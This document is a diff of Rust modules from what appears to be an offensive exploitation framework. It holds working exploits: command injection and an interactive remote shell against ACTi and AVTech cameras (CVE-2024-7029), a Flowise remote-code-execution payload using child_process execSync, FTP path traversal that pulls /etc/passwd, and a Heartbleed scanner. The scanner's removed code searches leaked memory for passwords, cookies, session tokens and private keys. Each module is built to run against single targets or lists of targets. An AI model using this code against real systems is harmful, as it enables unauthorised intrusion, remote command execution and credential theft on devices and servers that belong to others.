println!("{}", format!("[+] Target appears vulnerable: {}:{}", target, port).green().bold());
println!("[+] Target seems vulnerable: {}:{}", target, port);
// Prompt for command to execute
print!("{}", "Enter command to execute (default: id): ".cyan().bold());
io::stdout().flush()?;
let mut cmd_input = String::new();
io::stdin().read_line(&mut cmd_input)?;
let cmd = {
let t = cmd_input.trim();
if t.is_empty() { "id" } else { t }
};
println!("{}", format!("[*] Executing command: {}", cmd).cyan());
// // Simulated shell command execution
let cmd = "id"; // // You can change this to any test command
let output = execute(target, port, cmd).await?;
println!("{}", format!("[+] Output:\n{}", output).green());
println!("[+] Executed '{}':\n{}", cmd, output);
// // You can extend this to implement full shell injection
// // shell(arch="armle", method="wget", location="/var/", exec_binary=...)
} else {
println!("{}", format!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port).red());
println!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port);
}
Ok(())
}
/// Perform a command injection via GET /cgi-bin/test?iperf=;<cmd>
/// // Perform a command injection via GET /cgi-bin/test?iperf=;<cmd>
async fn execute(target: &str, port: u16, cmd: &str) -> Result<String> {
let url = format!("http://{}:{}/cgi-bin/test", target, port);
let client = Client::builder()
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(5))
.build()?;
let res = client
@@ -85,25 +54,22 @@ async fn execute(target: &str, port: u16, cmd: &str) -> Result<String> {
}
}
/// Check if the target is running the vulnerable service
/// // Check if the target is running the vulnerable service
async fn check(target: &str, port: u16) -> Result<bool> {
let url = format!("http://{}:{}/cgi-bin/test", target, port);
let index_url = format!("http://{}:{}/", target, port);
let client = Client::builder()
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(5))
.build()?;
// Check /cgi-bin/test
// // Check /cgi-bin/test
let test_res = client.get(&url).send().await?;
if test_res.status().is_success() {
println!("{}", "[*] CGI endpoint accessible".cyan());
// Check root page contains 'Web Configurator'
// // Check root page contains 'Web Configurator'
let index_res = client.get(&index_url).send().await?;
if index_res.status().is_success() {
let body = index_res.text().await?;
if body.contains("Web Configurator") {
println!("{}", "[*] ACTi Web Configurator detected".cyan());
return Ok(true);
}
}
@@ -1,22 +1,10 @@
use anyhow::Result;
use colored::*;
use reqwest::Client;
use std::io::{self, Write};
use std::path::Path;
use std::time::Duration;
use tokio::io::{AsyncBufReadExt, BufReader};
const DEFAULT_PORT: &str = "80";
const DEFAULT_TIMEOUT_SECS: u64 = 10;
/// Display module banner
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ AVTech Camera CVE-2024-7029 RCE Exploit ║".cyan());
println!("{}", "║ Command Injection via brightness parameter ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
/// // Ensures the target string has a scheme (http://) and includes port
fn normalize_url(ip: &str, port: &str) -> String {
let with_scheme = if ip.starts_with("http://") || ip.starts_with("https://") {
@@ -35,9 +23,8 @@ fn normalize_url(ip: &str, port: &str) -> String {
}
}
/// Check if the device is vulnerable to CVE-2024-7029
/// // Check if the device is vulnerable to CVE-2024-7029
async fn check_vuln(client: &Client, base: &str) -> Result<bool> {
println!("{}", "[*] Checking vulnerability...".cyan());
let mut url = reqwest::Url::parse(base)?;
url.set_path("/cgi-bin/supervisor/Factory.cgi");
url.query_pairs_mut()
@@ -48,27 +35,22 @@ async fn check_vuln(client: &Client, base: &str) -> Result<bool> {
Ok(body.contains("echo_CVE7029"))
}
/// Interactive shell to send arbitrary commands
/// // Interactive shell to send arbitrary commands
async fn interactive_shell(client: &Client, base: &str) -> Result<()> {
let stdin = tokio::io::stdin();
let mut lines = BufReader::new(stdin).lines();
println!("{}", "[+] Interactive shell started. Type 'exit' to quit.".green().bold());
loop {
print!("{}", "cve7029-shell> ".cyan().bold());
print!("cve7029-shell> ");
io::stdout().flush()?;
if let Some(cmd) = lines.next_line().await? {
let cmd = cmd.trim();
if cmd.eq_ignore_ascii_case("exit") {
println!("{}", "[*] Exiting shell...".yellow());
break;
}
if cmd.is_empty() {
continue;
}
match exec_cmd(client, base, cmd).await {
Ok(out) => println!("{}", out),
Err(e) => println!("{}", format!("[-] Error: {}", e).red()),
Err(e) => eprintln!("Error: {}", e),
}
} else {
break;
@@ -89,57 +71,44 @@ async fn exec_cmd(client: &Client, base: &str, cmd: &str) -> Result<String> {
Ok(response.text().await?)
}
/// Prompt user for a custom port number
/// // Prompt user for a custom port number
fn prompt_port() -> Result<String> {
print!("{}", format!("Enter port to use [default: {}]: ", DEFAULT_PORT).cyan().bold());
print!("Enter port to use [default: 80]: ");
io::stdout().flush()?;
let mut port = String::new();
io::stdin().read_line(&mut port)?;
let port = port.trim();
Ok(if port.is_empty() { DEFAULT_PORT.to_string() } else { port.to_string() })
Ok(if port.is_empty() { "80".to_string() } else { port.to_string() })
}
/// Entry point required for RouterSploit-inspired dispatch system
/// // Entry point required for RouterSploit-inspired dispatch system
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
let port = prompt_port()?;
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.timeout(Duration::from_secs(5))
.build()?;
// Handle either single IP or file of targets
// // Handle either single IP or file of targets
let targets = if Path::new(target).exists() {
println!("{}", format!("[*] Loading targets from file: {}", target).cyan());
tokio::fs::read_to_string(target)
.await?
.lines()
.map(str::to_string)
.filter(|s| !s.trim().is_empty())
.collect::<Vec<_>>()
} else {
vec![target.to_string()]
};
println!("{}", format!("[*] Testing {} target(s)...", targets.len()).cyan());
println!();
for raw_ip in &targets {
let url = normalize_url(raw_ip, &port);
println!("{}", format!("[*] Testing: {}", url).yellow());
if check_vuln(&client, &url).await? {
println!("{}", format!("[+] {} is VULNERABLE!", url).green().bold());
println!("[+] {} is vulnerable!", url);
interactive_shell(&client, &url).await?;
} else {
println!("{}", format!("[-] {} is not vulnerable", url).red());
println!("[-] {} is not vulnerable", url);
}
println!();
}
println!("{}", "[*] Scan complete.".cyan());
Ok(())
}
@@ -1,185 +0,0 @@
// CVE-2025-59528 - Flowise < 3.0.5 Remote Code Execution
// Exploit Author: nltt0 (https://github.com/nltt-br)
// Vendor Homepage: https://flowiseai.com/
// Software Link: https://github.com/FlowiseAI/Flowise
// Version: < 3.0.5
use anyhow::{anyhow, Context, Result};
use colored::*;
use reqwest::Client;
use serde_json::json;
use std::io::{self, Write};
use std::time::Duration;
/// Displays module banner
fn banner() {
println!(
"{}",
r#"
_____ _ _____
/ __ \ | | / ___|
| / \/ __ _| | __ _ _ __ __ _ ___ ___ \ `--.
| | / _` | |/ _` | '_ \ / _` |/ _ \/ __| `--. \
| \__/\ (_| | | (_| | | | | (_| | (_) \__ \/\__/ /
\____/\__,_|_|\__,_|_| |_|\__, |\___/|___/\____/
__/ |
|___/
by nltt0
"#
.cyan()
);
}
/// Login to Flowise and return authenticated session
async fn login(client: &Client, url: &str, email: &str, password: &str) -> Result<String> {
let login_url = format!("{}/api/v1/auth/login", url.trim_end_matches('/'));
let data = json!({
"email": email,
"password": password
});
let response = client
.post(&login_url)
.header("x-request-from", "internal")
.header("Accept-Language", "pt-BR,pt;q=0.9")
.header("Accept", "application/json, text/plain, */*")
.header("Content-Type", "application/json")
.header("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36")
.header("Origin", "http://workflow.flow.hc")
.header("Referer", "http://workflow.flow.hc/signin")
.header("Accept-Encoding", "gzip, deflate, br")
.header("Connection", "keep-alive")
.json(&data)
.send()
.await
.context("Failed to send login request")?;
if response.status().is_success() {
// Extract session token/cookie from response
// The actual token extraction depends on Flowise's response format
// For now, we'll use the cookie jar from the client
Ok("authenticated".to_string())
} else {
Err(anyhow!("Login failed with status: {}", response.status()))
}
}
/// Execute remote code via the customMCP endpoint
async fn execute_rce(
client: &Client,
url: &str,
email: &str,
password: &str,
cmd: &str,
) -> Result<()> {
// First, login to get authenticated session
println!("{}", "[*] Attempting to login...".yellow());
login(client, url, email, password).await?;
println!("{}", "[+] Login successful".green());
let rce_url = format!("{}/api/v1/node-load-method/customMCP", url.trim_end_matches('/'));
// Escape the command for JavaScript execution
let escaped_cmd = cmd.replace('\\', "\\\\").replace('"', "\\\"").replace('\n', "\\n");
// Construct the malicious payload
let command = format!(
r#"({{x:(function(){{const cp = process.mainModule.require("child_process");cp.execSync("{}");return 1;}})()}})"#,
escaped_cmd
);
let data = json!({
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": command
}
});
println!("{}", format!("[*] Executing command: {}", cmd).yellow());
let response = client
.post(&rce_url)
.header("x-request-from", "internal")
.header("Content-Type", "application/json")
.json(&data)
.send()
.await
.context("Failed to send RCE request")?;
if response.status() == 401 {
// Retry with internal header if we get 401
println!("{}", "[*] Received 401, retrying with internal header...".yellow());
let retry_response = client
.post(&rce_url)
.header("x-request-from", "internal")
.json(&data)
.send()
.await
.context("Failed to retry RCE request")?;
if retry_response.status().is_success() {
println!("{}", format!("[+] Command executed successfully: {}", cmd).green().bold());
} else {
println!("{}", format!("[-] Command execution failed with status: {}", retry_response.status()).red());
}
} else if response.status().is_success() {
println!("{}", format!("[+] Command executed successfully: {}", cmd).green().bold());
} else {
println!("{}", format!("[-] Command execution failed with status: {}", response.status()).red());
}
Ok(())
}
/// Main entry point for auto-dispatch system
pub async fn run(target: &str) -> Result<()> {
banner();
let mut base_url = target.trim().to_string();
if !base_url.starts_with("http://") && !base_url.starts_with("https://") {
base_url = format!("http://{}", base_url);
}
base_url = base_url.trim_end_matches('/').to_string();
println!("{}", format!("[*] Target URL: {}", base_url).yellow());
// Build HTTP client with cookie support and SSL verification disabled
let client = Client::builder()
.timeout(Duration::from_secs(30))
.danger_accept_invalid_certs(true)
.cookie_store(true)
.build()
.context("Failed to create HTTP client")?;
// Prompt for credentials and command
let mut email = String::new();
let mut password = String::new();
let mut command = String::new();
print!("{}", "Email: ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut email)?;
print!("{}", "Password: ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut password)?;
print!("{}", "Command to execute: ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut command)?;
let email = email.trim();
let password = password.trim();
let command = command.trim();
if email.is_empty() || password.is_empty() || command.is_empty() {
return Err(anyhow!("Email, password, and command must be provided"));
}
execute_rce(&client, &base_url, email, password, command).await?;
Ok(())
}
-2
View File
@@ -1,2 +0,0 @@
pub mod cve_2025_59528_flowise_rce;
@@ -1,7 +1,8 @@
use anyhow::{anyhow, Result};
use suppaftp::FtpStream;
use ftp::FtpStream;
use std::net::ToSocketAddrs;
use std::fs::{File, OpenOptions};
use std::io::{self, BufRead, BufReader, Write};
use std::io::{copy, BufRead, BufReader, Write};
use std::path::Path;
use tokio::task;
use tokio::sync::Semaphore;
@@ -34,28 +35,25 @@ fn exploit_target(target: String, port: u16) -> Result<String> {
println!("{}", format!("[*] Connecting to FTP service at {}...", addr).yellow());
// Connect to FTP server
let mut ftp = FtpStream::connect(&addr)
.map_err(|e| anyhow!("FTP connection error to {}: {}", addr, e))?;
let mut ftp = FtpStream::connect(
addr.to_socket_addrs()?.next().ok_or_else(|| anyhow!("Failed to resolve address"))?
)
.map_err(|e| anyhow!("FTP connection error: {}", e))?;
ftp.login("pachev", "").map_err(|e| anyhow!("FTP login failed: {}", e))?;
println!("{}", "[+] Logged in successfully as 'pachev'.".green());
println!("{}", "[*] Attempting to retrieve /etc/passwd via path traversal...".yellow());
let reader = ftp.simple_retr("../../../../../../../../etc/passwd")
.map_err(|e| anyhow!("Failed to retrieve file: {}", e))?
.into_inner();
let mut reader = std::io::Cursor::new(reader);
let safe_name = target.replace(['[', ']', ':'], "_");
let out_file = format!("{}_passwd.txt", safe_name);
let mut file = File::create(&out_file)?;
ftp.retr("../../../../../../../../etc/passwd", |reader| -> Result<(), suppaftp::FtpError> {
io::copy(reader, &mut file)
.map_err(|e| suppaftp::FtpError::ConnectionError(std::io::Error::new(
std::io::ErrorKind::Other,
format!("Failed to write file: {}", e)
)))?;
Ok(())
})
.map_err(|e| anyhow!("Failed to retrieve file: {}", e))?;
copy(&mut reader, &mut file)?;
ftp.quit().ok();
@@ -79,28 +77,25 @@ fn save_result(line: &str) -> Result<()> {
pub async fn run(target: &str) -> Result<()> {
let target = target.to_string(); // // Own target early to avoid lifetime issues
print!("{}", "Enter the FTP port (default 21): ".cyan().bold());
io::stdout().flush()?;
println!("Enter the FTP port (default 21):");
let mut port_input = String::new();
io::stdin().read_line(&mut port_input)?;
std::io::stdin().read_line(&mut port_input)?;
let port_input = port_input.trim();
let port = if port_input.is_empty() {
21
} else {
port_input.parse::<u16>().map_err(|_| anyhow!("Invalid port number: {}", port_input))?
port_input.parse::<u16>().map_err(|_| anyhow!("Invalid port number"))?
};
print!("{}", "Do you want to use a list of IPs? (yes/no): ".cyan().bold());
io::stdout().flush()?;
println!("Do you want to use a list of IPs? (yes/no):");
let mut use_list = String::new();
io::stdin().read_line(&mut use_list)?;
std::io::stdin().read_line(&mut use_list)?;
let use_list = use_list.trim().to_lowercase();
if use_list == "yes" || use_list == "y" {
print!("{}", "Enter path to the IP list file: ".cyan().bold());
io::stdout().flush()?;
println!("Enter path to the IP list file:");
let mut path = String::new();
io::stdin().read_line(&mut path)?;
std::io::stdin().read_line(&mut path)?;
let path = path.trim();
if !Path::new(path).exists() {
@@ -121,33 +116,32 @@ pub async fn run(target: &str) -> Result<()> {
continue;
}
let ip_owned = ip.to_string();
let ip_for_errors = ip_owned.clone(); // Clone for error messages
let port = port;
let target_clone = target.clone(); // // Clone per task
let permit = semaphore.clone().acquire_owned().await?;
println!("{}", format!("[*] Launching task for target: {}", ip_owned).yellow());
futures.push(tokio::spawn(async move {
let _permit = permit; // // Hold permit alive
let ip_for_errors = ip_for_errors.clone(); // Clone for error messages in closure
let exploit_task = task::spawn_blocking(move || exploit_target(ip_owned, port));
match timeout(Duration::from_secs(FTP_TIMEOUT_SECONDS), exploit_task).await {
Ok(Ok(Ok(success))) => {
println!("{}", format!("[+] Success: {}", success).green().bold());
let _ = save_result(&success);
println!("{}", format!("[+] Success: {}", success).green());
save_result(&success)?;
}
Ok(Ok(Err(e))) => {
println!("{}", format!("[-] Exploit error for {}: {}", ip_for_errors, e).red());
let _ = save_result(&format!("{} FAIL: {}", ip_for_errors, e));
println!("{}", format!("[!] Exploit error: {}", e).red());
save_result(&format!("{} FAIL: {}", target_clone, e))?;
}
Ok(Err(e)) => {
println!("{}", format!("[-] Join error for {}: {}", ip_for_errors, e).red());
let _ = save_result(&format!("{} FAIL: Join error {}", ip_for_errors, e));
println!("{}", format!("[!] Join error: {}", e).red());
save_result(&format!("{} FAIL: Join error {}", target_clone, e))?;
}
Err(_) => {
println!("{}", format!("[-] Timeout while exploiting {} ({}s)", ip_for_errors, FTP_TIMEOUT_SECONDS).yellow());
let _ = save_result(&format!("{} TIMEOUT", ip_for_errors));
println!("{}", format!("[!] Timeout while exploiting {}", target_clone).red());
save_result(&format!("{} TIMEOUT", target_clone))?;
}
}
@@ -171,24 +165,23 @@ pub async fn run(target: &str) -> Result<()> {
let target_owned = target.to_string();
let port = port;
println!("{}", format!("[*] Exploiting single target: {}:{}", target, port).yellow());
let exploit_task = task::spawn_blocking(move || exploit_target(target_owned, port));
match timeout(Duration::from_secs(FTP_TIMEOUT_SECONDS), exploit_task).await {
Ok(Ok(Ok(success))) => {
println!("{}", format!("[+] Success: {}", success).green().bold());
let _ = save_result(&success);
println!("{}", format!("[+] Success: {}", success).green());
save_result(&success)?;
}
Ok(Ok(Err(e))) => {
println!("{}", format!("[-] Exploit error: {}", e).red());
let _ = save_result(&format!("{} FAIL: {}", target, e));
println!("{}", format!("[!] Exploit error: {}", e).red());
save_result(&format!("{} FAIL: {}", target, e))?;
}
Ok(Err(e)) => {
println!("{}", format!("[-] Join error: {}", e).red());
let _ = save_result(&format!("{} FAIL: Join error {}", target, e));
println!("{}", format!("[!] Join error: {}", e).red());
save_result(&format!("{} FAIL: Join error {}", target, e))?;
}
Err(_) => {
println!("{}", format!("[-] Timeout while exploiting {} ({}s)", target, FTP_TIMEOUT_SECONDS).yellow());
let _ = save_result(&format!("{} TIMEOUT", target));
println!("{}", format!("[!] Timeout while exploiting {}", target).red());
save_result(&format!("{} TIMEOUT", target))?;
}
}
}
+71 -374
View File
@@ -1,268 +1,37 @@
use anyhow::{Context, Result, bail};
use anyhow::{Context, Result};
use std::fs::File;
use std::io::{Write, BufRead, BufReader};
use std::io::Write;
use std::net::ToSocketAddrs;
use std::path::Path;
use std::time::{SystemTime, UNIX_EPOCH};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{timeout, Duration, sleep};
use regex::Regex;
use std::sync::Arc;
use tokio::sync::Semaphore;
use futures::stream::{FuturesUnordered, StreamExt};
use colored::Colorize;
const MAX_RETRIES: u32 = 3;
const INITIAL_BACKOFF_MS: u64 = 500;
const MAX_CONCURRENT: usize = 10;
const DEFAULT_HEARTBEAT_ATTEMPTS: usize = 5;
#[derive(Clone)]
pub struct ScanConfig {
pub port: u16,
pub payload_size: u16,
pub heartbeat_attempts: usize,
pub batch_file: Option<String>,
}
impl Default for ScanConfig {
fn default() -> Self {
Self {
port: 443,
payload_size: 0x4000,
heartbeat_attempts: DEFAULT_HEARTBEAT_ATTEMPTS,
batch_file: None,
}
}
}
use tokio::time::{timeout, Duration};
/// Entry point for dispatcher uses default port 443
pub async fn run(target: &str) -> Result<()> {
let config = get_user_config(target)?;
run_with_config(target, config).await
run_with_port(target, 443).await
}
fn get_user_config(target: &str) -> Result<ScanConfig> {
let mut config = ScanConfig::default();
println!("{}", "=== Heartbleed Scanner Configuration ===".cyan().bold());
println!();
print!("{}", format!("Enter target port [default: {}]: ", config.port).green());
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
if let Ok(port) = input.trim().parse::<u16>() {
if port > 0 {
config.port = port;
}
}
print!("{}", format!("Enter payload size in bytes [default: {} (16KB)]: ", config.payload_size).green());
std::io::stdout().flush()?;
input.clear();
std::io::stdin().read_line(&mut input)?;
if let Ok(size) = input.trim().parse::<u16>() {
if size > 0 && size <= 0x4000 {
config.payload_size = size;
} else if size > 0x4000 {
println!("{}", "Warning: Payload size capped at 16KB (0x4000)".yellow());
config.payload_size = 0x4000;
}
}
print!("{}", format!("Enter number of heartbeat attempts [default: {}]: ", config.heartbeat_attempts).green());
std::io::stdout().flush()?;
input.clear();
std::io::stdin().read_line(&mut input)?;
if let Ok(attempts) = input.trim().parse::<usize>() {
if attempts > 0 && attempts <= 20 {
config.heartbeat_attempts = attempts;
} else if attempts > 20 {
println!("{}", "Warning: Too many attempts, capped at 20".yellow());
config.heartbeat_attempts = 20;
}
}
if target.is_empty() {
print!("{}", "Use batch mode? (scan multiple targets from file) [y/N]: ".green());
std::io::stdout().flush()?;
input.clear();
std::io::stdin().read_line(&mut input)?;
if input.trim().eq_ignore_ascii_case("y") || input.trim().eq_ignore_ascii_case("yes") {
print!("{}", "Enter batch file path: ".green());
std::io::stdout().flush()?;
input.clear();
std::io::stdin().read_line(&mut input)?;
let batch_file = input.trim().to_string();
if !batch_file.is_empty() {
if Path::new(&batch_file).exists() {
config.batch_file = Some(batch_file);
} else {
println!("{}", format!("Warning: File '{}' not found, skipping batch mode", batch_file).yellow());
}
}
}
}
println!();
println!("{}", "Configuration Summary:".cyan().bold());
println!(" Port: {}", config.port);
println!(" Payload Size: {} bytes", config.payload_size);
println!(" Heartbeat Attempts: {}", config.heartbeat_attempts);
if let Some(ref batch) = config.batch_file {
println!(" Batch File: {}", batch);
}
println!();
Ok(config)
}
pub async fn run_with_config(target: &str, config: ScanConfig) -> Result<()> {
if let Some(batch_file) = &config.batch_file {
run_batch_scan(batch_file, &config).await
} else {
scan_single_target(target, &config).await
}
}
async fn run_batch_scan(batch_file: &str, config: &ScanConfig) -> Result<()> {
let file = File::open(batch_file)
.with_context(|| format!("Failed to open batch file: {}", batch_file))?;
let reader = BufReader::new(file);
let targets: Vec<String> = reader
.lines()
.filter_map(|line| line.ok())
.map(|line| line.trim().to_string())
.filter(|line| !line.is_empty() && !line.starts_with('#'))
.collect();
if targets.is_empty() {
bail!("No valid targets found in batch file");
}
println!("{}", format!("[*] Loaded {} targets from batch file", targets.len()).cyan());
println!("{}", format!("[*] Starting concurrent scan with max {} concurrent connections\n", MAX_CONCURRENT).cyan());
let semaphore = Arc::new(Semaphore::new(MAX_CONCURRENT));
let mut tasks = FuturesUnordered::new();
for target in targets {
let config_clone = config.clone();
let sem = semaphore.clone();
tasks.push(tokio::spawn(async move {
let _permit = sem.acquire().await.unwrap();
scan_single_target(&target, &config_clone).await
}));
}
while let Some(result) = tasks.next().await {
if let Err(e) = result {
eprintln!("{}", format!("[-] Task error: {}", e).red());
}
}
println!("{}", "\n[*] Batch scan complete".green().bold());
Ok(())
}
async fn scan_single_target(target: &str, config: &ScanConfig) -> Result<()> {
/// Full Heartbleed scanner with user-defined port (used internally)
pub async fn run_with_port(target: &str, port: u16) -> Result<()> {
// 1) Trim whitespace and strip _all_ bracket layers:
let raw = target.trim();
if raw.is_empty() {
bail!("Target address cannot be empty");
}
let stripped = raw
.trim_start_matches('[')
.trim_end_matches(']');
let host = if stripped.contains(':') && !stripped.contains('.') {
// 2) If it looks like an IPv6 literal (contains ':'), re-bracket exactly once:
let host = if stripped.contains(':') {
format!("[{}]", stripped)
} else {
stripped.to_string()
};
let addr = format!("{}:{}", host, config.port);
// 3) Build the addr string with port:
let addr = format!("{}:{}", host, port);
println!("{}", format!("[*] Target: {} | Payload: {} bytes | Attempts: {}",
addr, config.payload_size, config.heartbeat_attempts).cyan());
let mut all_leaked_data = Vec::new();
for attempt in 1..=config.heartbeat_attempts {
println!("{}", format!("[*] Heartbeat attempt {}/{}", attempt, config.heartbeat_attempts).cyan());
match scan_with_retry(&addr, config.payload_size).await {
Ok(Some(data)) => {
println!("{}", format!("[+] Attempt {} leaked {} bytes", attempt, data.len()).green());
all_leaked_data.extend_from_slice(&data);
}
Ok(None) => {
println!("{}", format!("[-] Attempt {} failed to leak data", attempt).yellow());
}
Err(e) => {
println!("{}", format!("[-] Attempt {} error: {}", attempt, e).red());
}
}
if attempt < config.heartbeat_attempts {
sleep(Duration::from_millis(100)).await;
}
}
if all_leaked_data.is_empty() {
println!("{}", format!("[-] No data leaked from {} - likely not vulnerable\n", addr).red());
return Ok(());
}
println!();
println!("{}", format!("[+] Total leaked data: {} bytes", all_leaked_data.len()).green().bold());
println!("{}", format!("[+] Server {} is VULNERABLE to Heartbleed!", addr).red().bold());
println!();
analyze_leaked_data(&all_leaked_data);
let safe_filename = stripped
.replace(':', "_")
.replace('/', "_")
.replace('\\', "_");
let filename = format!("leak_dump_{}.bin", safe_filename);
save_leak_dump(&filename, &all_leaked_data)?;
println!("{}", format!("[+] Full leak dump saved to: {}\n", filename).green());
Ok(())
}
async fn scan_with_retry(addr: &str, payload_size: u16) -> Result<Option<Vec<u8>>> {
let mut backoff = INITIAL_BACKOFF_MS;
for retry in 0..MAX_RETRIES {
if retry > 0 {
println!("{}", format!("[*] Retry {}/{} after {}ms...", retry, MAX_RETRIES - 1, backoff).yellow());
sleep(Duration::from_millis(backoff)).await;
backoff *= 2;
}
match perform_heartbleed_test(addr, payload_size).await {
Ok(data) => return Ok(data),
Err(e) if retry < MAX_RETRIES - 1 => {
println!("{}", format!("[-] Connection failed: {} - retrying...", e).yellow());
continue;
}
Err(e) => return Err(e),
}
}
bail!("All retry attempts exhausted")
}
async fn perform_heartbleed_test(addr: &str, payload_size: u16) -> Result<Option<Vec<u8>>> {
println!("[*] Connecting to {}...", addr);
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address format")?
@@ -272,153 +41,79 @@ async fn perform_heartbleed_test(addr: &str, payload_size: u16) -> Result<Option
let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
let mut stream = match stream_result {
Ok(Ok(s)) => s,
Ok(Err(e)) => bail!("Connection failed: {}", e),
Err(_) => bail!("Connection timed out"),
Ok(Err(e)) => {
println!("[-] Connection to {} failed: {}", socket_addr, e);
return Ok(());
}
Err(_) => {
println!("[-] Connection to {} timed out", socket_addr);
return Ok(());
}
};
stream.write_all(&build_client_hello()).await
.context("Failed to send Client Hello")?;
stream.flush().await
.context("Failed to flush after Client Hello")?;
println!("[*] Sending Client Hello...");
stream.write_all(&build_client_hello()).await?;
let mut response = vec![0u8; 4096];
let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
match read_result {
Ok(Ok(n)) if n > 0 => {},
Ok(Ok(_)) => bail!("No response to Client Hello"),
Ok(Err(e)) => bail!("Read error: {}", e),
Err(_) => bail!("Read timed out"),
Ok(Ok(n)) if n > 0 => {}
Ok(Ok(_)) => {
println!("[-] No response to Client Hello");
return Ok(());
}
Ok(Err(e)) => {
println!("[-] Read error: {}", e);
return Ok(());
}
Err(_) => {
println!("[-] Read timed out (Client Hello response)");
return Ok(());
}
}
stream.write_all(&build_heartbeat_request(payload_size)).await
.context("Failed to send Heartbeat request")?;
stream.flush().await
.context("Failed to flush after Heartbeat")?;
println!("[*] Sending Heartbeat...");
stream.write_all(&build_heartbeat_request(0x4000)).await?;
let mut leak = vec![0u8; 65535];
let read_result = timeout(Duration::from_secs(5), stream.read(&mut leak)).await;
let n = match read_result {
Ok(Ok(n)) if n > 0 => n,
Ok(Ok(_)) => return Ok(None),
Ok(Err(_)) => return Ok(None),
Err(_) => return Ok(None),
Ok(Ok(_)) => {
println!("[-] No heartbeat response.");
return Ok(());
}
Ok(Err(e)) => {
println!("[-] Read error: {}", e);
return Ok(());
}
Err(_) => {
println!("[-] Read timed out (heartbeat response)");
return Ok(());
}
};
if n <= 5 {
return Ok(None);
}
Ok(Some(leak[..n].to_vec()))
}
fn analyze_leaked_data(data: &[u8]) {
println!("{}", "[*] Analyzing leaked data for sensitive patterns...\n".cyan().bold());
let data_str = String::from_utf8_lossy(data);
let password_patterns = vec![
(r"password[=:]\s*[^\s&]{3,}", "Password"),
(r"passwd[=:]\s*[^\s&]{3,}", "Password"),
(r"pwd[=:]\s*[^\s&]{3,}", "Password"),
(r"pass[=:]\s*[^\s&]{3,}", "Password"),
];
for (pattern, label) in password_patterns {
if let Ok(re) = Regex::new(pattern) {
for cap in re.find_iter(&data_str) {
println!("{}", format!("[!] {} found: {}", label, cap.as_str()).red().bold());
}
}
}
let cookie_re = Regex::new(r"Cookie:\s*([^\r\n]+)").ok();
if let Some(re) = cookie_re {
for cap in re.captures_iter(&data_str) {
if let Some(cookie) = cap.get(1) {
println!("{}", format!("[!] Cookie found: {}", cookie.as_str()).yellow().bold());
}
}
}
let session_patterns = vec![
r"PHPSESSID=[a-zA-Z0-9]{20,}",
r"JSESSIONID=[a-zA-Z0-9]{20,}",
r"session[_-]?id[=:][a-zA-Z0-9]{20,}",
];
for pattern in session_patterns {
if let Ok(re) = Regex::new(pattern) {
for cap in re.find_iter(&data_str) {
println!("{}", format!("[!] Session token found: {}", cap.as_str()).yellow().bold());
}
}
}
let key_markers = vec![
"-----BEGIN RSA PRIVATE KEY-----",
"-----BEGIN PRIVATE KEY-----",
"-----BEGIN EC PRIVATE KEY-----",
"-----BEGIN DSA PRIVATE KEY-----",
"-----BEGIN OPENSSH PRIVATE KEY-----",
];
for marker in key_markers {
if data_str.contains(marker) {
println!("{}", format!("[!!!] PRIVATE KEY DETECTED: {}", marker).red().bold().on_yellow());
}
}
let auth_re = Regex::new(r"Authorization:\s*([^\r\n]+)").ok();
if let Some(re) = auth_re {
for cap in re.captures_iter(&data_str) {
if let Some(auth) = cap.get(1) {
println!("{}", format!("[!] Authorization header found: {}", auth.as_str()).yellow().bold());
}
}
}
let email_re = Regex::new(r"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}").ok();
if let Some(re) = email_re {
let mut emails = std::collections::HashSet::new();
for cap in re.find_iter(&data_str) {
emails.insert(cap.as_str().to_string());
}
if !emails.is_empty() {
println!();
println!("{}", format!("[*] Email addresses found: {}", emails.len()).cyan());
for (i, email) in emails.iter().take(5).enumerate() {
println!(" {}: {}", i + 1, email);
}
if emails.len() > 5 {
println!(" ... and {} more", emails.len() - 5);
}
}
}
println!();
println!("{}", "[*] Printable data preview (first 512 bytes):".cyan());
println!("{}", printable_dump(&data[..data.len().min(512)]));
}
fn save_leak_dump(filename: &str, data: &[u8]) -> Result<()> {
let path = Path::new(filename);
println!("[+] Received {} bytes in heartbeat response!", n);
let filename = format!("leak_dump_{}.bin", stripped.replace(':', "_"));
let path = Path::new(&filename);
let mut file = File::create(path)
.with_context(|| format!("Failed to create dump file '{}'", filename))?;
file.write_all(data)
file.write_all(&leak[..n])
.with_context(|| format!("Failed to write leak data to '{}'", filename))?;
println!("[+] Leak dump saved to: {}", filename);
println!("{}", printable_dump(&leak[..n]));
Ok(())
}
/// Builds a TLS ClientHello message
fn build_client_hello() -> Vec<u8> {
let version: u16 = 0x0302;
let time_now = SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap_or_default()
.as_secs() as u32;
let version: u16 = 0x0302; // TLS 1.1
let time_now = SystemTime::now().duration_since(UNIX_EPOCH).unwrap().as_secs() as u32;
let mut random = vec![];
random.extend_from_slice(&time_now.to_be_bytes());
random.extend_from_slice(&[0x42; 28]);
random.extend_from_slice(&vec![0x42; 28]);
